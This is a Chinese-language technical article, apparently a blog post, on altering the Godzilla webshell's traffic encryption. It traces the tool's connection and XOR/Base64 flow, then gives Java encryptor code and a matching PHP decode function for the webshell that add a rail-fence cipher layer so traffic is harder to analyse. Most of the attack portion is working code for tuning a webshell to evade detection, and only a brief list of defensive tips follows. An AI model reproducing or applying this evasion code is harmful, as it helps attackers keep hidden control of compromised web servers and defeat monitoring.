Godzilla栅栏加密混淆流量
字数 868 2025-08-22 22:47:39
Godzilla流量混淆与加密技术分析
0x01 哥斯拉混淆代码分析
流量行为分析
-
测试连接时发送两个包:
- 第一个包用于服务器创建Session,存储模块函数(混淆流量行为发生在第一个包发送前)
- 第二个包检查木马是否能连接
-
流量定位方法:
- 全局搜索unicode编码字符串"\u6d4b\u8bd5\u8fde\u63a5"定位到ShellSetting.java
- 搜索"testButton"关键字找到点击按钮逻辑代码
核心代码分析
private void testButtonClick(ActionEvent actionEvent) {
if (this.updateTempShellEntity()) {
if (this.shellContext.initShellOpertion()) {
GOptionPane.showMessageDialog(this, "Success by ming!", "\u63d0\u793a", 1);
Log.log(String.format("CloseShellState: %s\tShellId: %s\tShellHash: %s",
this.shellContext.getPayloadModule().close(),
this.shellContext.getId(),
this.shellContext.hashCode()), new Object[0]);
}
}
}
流量加密流程
-
客户端加密过程:
- 明文 → 异或加密 → Base64编码 → 发送到服务器
-
服务器解密过程:
- Base64解码 → 异或解密 → 执行run函数 → 异或加密 → Base64编码 → 返回客户端
-
客户端解密过程:
- Base64解码 → 异或解密 → 获取明文数据
0x02 编写混淆加密器
创建测试案例
- 在Src目录下创建混淆加密器测试案例
- 以php_xor_base64加密器为基础修改
- 命名为ming9,修改E与D方法设置为base64传输流量
修改加密逻辑
public byte[] E(byte[] cs) {
int len = cs.length;
return (this.pass + "=" + URLEncoder.encode(functions.base64EncodeToString(cs))).getBytes();
}
public byte[] D(String data) {
byte[] cs = functions.base64Decode(data);
int len = cs.length;
return cs;
}
修改base64.bin
- 只保留base64编码解码内容
- 删除异或加密解密逻辑
- 重新build项目构建jar包
0x03 栅栏加密混淆
客户端加密流程
- Base64编码 → 栅栏加密(rails=3) → Base64编码
服务器解密流程
- Base64解码 → 栅栏解密 → Base64解码 → 返回Base64编码流量
Java实现代码
public byte[] E(byte[] cs) {
String base64EncodedInitial = Base64.getEncoder().encodeToString(cs);
int n = rails;
StringBuilder[] railFence = new StringBuilder[n];
for (int i = 0; i < n; i++) {
railFence[i] = new StringBuilder();
}
int rail = 0;
for (int i = 0; i < base64EncodedInitial.length(); i++) {
railFence[rail].append(base64EncodedInitial.charAt(i));
rail = (rail + 1) % n;
}
StringBuilder railFenceEncoded = new StringBuilder();
for (int i = 0; i < n; i++) {
railFenceEncoded.append(railFence[i].toString());
}
String finalBase64Encoded = Base64.getEncoder().encodeToString(railFenceEncoded.toString().getBytes());
return (this.pass + "=" + finalBase64Encoded).getBytes();
}
public byte[] D(String data) {
byte[] cs = functions.base64Decode(data);
int len = cs.length;
return cs;
}
PHP木马文件修改
function decode($str){
$n = 3;
$length = strlen($str);
$table = array();
$quotient = (int)($length / $n);
$remainder = $length % $n;
for ($i = 0; $i < $n; $i++) {
$table[$i] = array();
}
$index = 0;
for ($i = 0; $i < $n; $i++) {
$rowCount = $quotient + ($i < $remainder ? 1 : 0);
for ($j = 0; $j < $rowCount; $j++) {
$table[$i][$j] = $str[$index++];
}
}
$decodedStr = "";
for ($i = 0; $i < $quotient + 1; $i++) {
for ($j = 0; $j < $n; $j++) {
if (isset($table[$j][$i])) {
$decodedStr .= $table[$j][$i];
}
}
}
return $decodedStr;
}
0x04 技术总结
关键点
- 流量混淆通过在发送前进行多层加密实现
- 栅栏加密增加了流量分析的难度
- 修改加密器需要同步修改客户端和服务器端代码
- 加密流程可自定义,但需要保证加解密对称
防御建议
- 监控异常Base64编码流量
- 检测固定模式的加密流量特征
- 分析HTTP请求中的异常参数传递
- 部署流量解密分析工具
0x05 参考资源
- Godzilla项目源码: https://github.com/BeichenDream/Godzilla
- 相关技术分析文章